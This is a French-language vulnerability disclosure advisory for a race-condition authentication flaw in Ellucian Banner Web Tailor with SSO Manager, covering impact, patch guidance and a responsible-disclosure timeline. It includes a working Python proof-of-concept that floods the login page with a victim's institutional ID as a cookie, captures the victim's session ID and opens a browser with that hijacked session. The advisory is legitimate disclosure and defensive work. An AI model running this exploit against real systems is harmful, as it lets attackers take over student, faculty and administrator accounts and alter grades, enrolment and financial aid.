
Divulgation de vulnérabilité de Banner Web Tailor et Banner Enterprise Identity Services
Auteur : Katie Mulliken [email protected]
Remerciements à : Carnegie Mellon University CERT Coordination Center
Résumé exécutif
Produit
Impact et recommandations
a. Impact
b. Recommandations
Détails techniques
a. Description technique
b. Code d'exploitation
Chronologie de la divulgation
Références
Une vulnérabilité d'authentification inappropriée (CWE-287) a été identifiée dans Banner Web Tailor et Banner Enterprise Identity Services. Cette vulnérabilité se produit lorsque SSO Manager est utilisé comme mécanisme d'authentification pour Web Tailor, ce qui pourrait entraîner une divulgation d'informations et une perte d'intégrité des données pour le(s) utilisateur(s) concerné(s). Le fournisseur a vérifié la vulnérabilité et produit un correctif désormais disponible. Pour plus d'informations, consultez les publications sur Ellucian Communities : [LIEN NON FOURNI AVANT LA DATE LIMITE] et Banner Enterprise Identity Services : [LIEN NON FOURNI AVANT LA DATE LIMITE]. MISE À JOUR : Voici le lien vers la section IAM : https://ecommunities.ellucian.com/message/252749#252749 Et voici le lien vers la communication sur la vulnérabilité Banner Web Tailor et SSO Manager publiée dans l'espace Banner General & Banner Technical Community - https://ecommunities.ellucian.com/message/252810#252810[1]
Banner Web Tailor est un outil web, conçu pour les établissements d'enseignement supérieur, qui fournit des fonctionnalités d'inscription, de gestion des programmes, de conseil, d'administration et de reporting. Les étudiants peuvent accéder à leurs informations d'inscription, de diplôme et d'aide financière et les modifier. Les professeurs et enseignants peuvent saisir les notes finales et gérer leurs cours. Les administrateurs peuvent accéder aux informations des étudiants et des enseignants et les modifier. Il est utilisé par des centaines d'établissements, dont beaucoup ont choisi d'utiliser le Single Sign-on Manager pour participer à des services d'authentification unique basés sur CAS et SAML. [2]
L'identifiant unique d'un utilisateur, l'UDCID, est divulgué via un cookie et pourrait conduire à un compromis de compte si cet identifiant est capturé ou autrement connu. Dans le cas testé, l'UDCID était connu comme étant l'identifiant institutionnel imprimé sur les cartes d'identité. L'UDCID pourrait être utilisé pour exploiter une condition de course qui fournirait à un attaquant un accès non autorisé. Pour un étudiant, l'attaquant pourrait le désinscrire de ses cours, rejeter l'aide financière, modifier ses informations personnelles, etc. Pour un professeur, cela pourrait entraîner une incapacité à gérer ses cours, permettre à un étudiant malveillant de saisir de fausses notes finales, etc. Pour un administrateur, un attaquant pourrait modifier les informations des utilisateurs, placer des blocages frauduleux sur les comptes étudiants, etc.
Les organisations concernées doivent mettre à jour vers la dernière version. Plus d'informations peuvent être trouvées dans les publications sur Ellucian Communities : [LIEN NON FOURNI AVANT LA DATE LIMITE] et Banner Enterprise Identity Services : [LIEN NON FOURNI AVANT LA DATE LIMITE] MISE À JOUR : Voici le lien vers la section IAM : https://ecommunities.ellucian.com/message/252749#252749 Et voici le lien vers la communication sur la vulnérabilité Banner Web Tailor et SSO Manager publiée dans l'espace Banner General & Banner Technical Community - https://ecommunities.ellucian.com/message/252810#252810. Veuillez utiliser Ellucian Communities ou contacter Ellucian via ActionLine pour obtenir plus d'informations. Les mises à jour de cette divulgation seront disponibles sur GitHub : https://github.com/JoshuaMulliken/CVE-2019-8978
La vulnérabilité d'authentification inappropriée peut être exploitée via une condition de course qui se produit dans Ellucian Banner Web Tailor, conjointement avec SSO Manager. Cette vulnérabilité permet à des attaquants distants de voler la session d'une victime (et de provoquer un déni de service) en demandant à plusieurs reprises la page principale initiale de Banner Web Tailor avec le cookie IDMSESSID défini sur l'UDCID de la victime, qui dans le cas testé est l'identifiant institutionnel. Lors d'une tentative de connexion par une victime, l'attaquant peut exploiter la condition de course et se verra attribuer le SESSID destiné à cette victime. Voir le code de preuve de concept situé au lien GitHub ci-dessous pour plus de détails.
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
18 décembre 2018 : Tentative de signalement via le formulaire web marketing d'Ellucian et envoi à [email protected]
20 décembre 2018 : Soumission du rapport au CERT Coordination Center de Carnegie Mellon University
2 janvier 2019 : Soumission du rapport à un CISO chez Ellucian découvert via LinkedIn
2 janvier 2019 : Demande d'informations sur la procédure de divulgation responsable auprès de l'University of South Carolina
3 janvier 2019 : Ellucian a indiqué de signaler via ActionLine
4 janvier 2019 : L'University of South Carolina a répondu qu'il n'existait aucune procédure pour signaler des vulnérabilités
4 janvier 2019 : Information à l'University of South Carolina qu'une vulnérabilité avait été découverte dans Banner
18 février 2019 : CERT m'a informé de l'échec de la prise de contact avec le fournisseur et m'a conseillé de divulguer publiquement
25 février 2019 : Envoi d'un projet d'avis à Ellucian et fixation de la date de divulgation au 4 mars
28 février 2019 : Démonstration de la vulnérabilité pour Ellucian via une conférence Zoom
1er mars 2019 : L'University of South Carolina a demandé un report de la publication
21 mars 2019 : L'University of South Carolina a reçu un correctif rétroporté d'Ellucian
26 mars 2019 : Ellucian a finalisé les correctifs pour toutes les versions
29 mars 2019 : Ellucian m'a informé que l'University of South Carolina effectuerait des modifications le 1er avril
1er avril 2019 : Demande d'informations sur l'état du correctif auprès de l'University of South Carolina
5 avril 2019 : L'University of South Carolina a donné une ETA au 30 avril 2019
30 avril 2019 : L'University of South Carolina a mis à jour l'ETA à la mi-mai
7 mai 2019 : Fixation de la date de publication de la divulgation au 13 mai
10 mai 2019 : L'University of South Carolina a publié un avis d'interruption planifiée pour tous les services Banner prévue le 11 mai
11 mai 2019 : L'University of South Carolina a installé avec succès le correctif
13 mai 2019 : Publication de la divulgation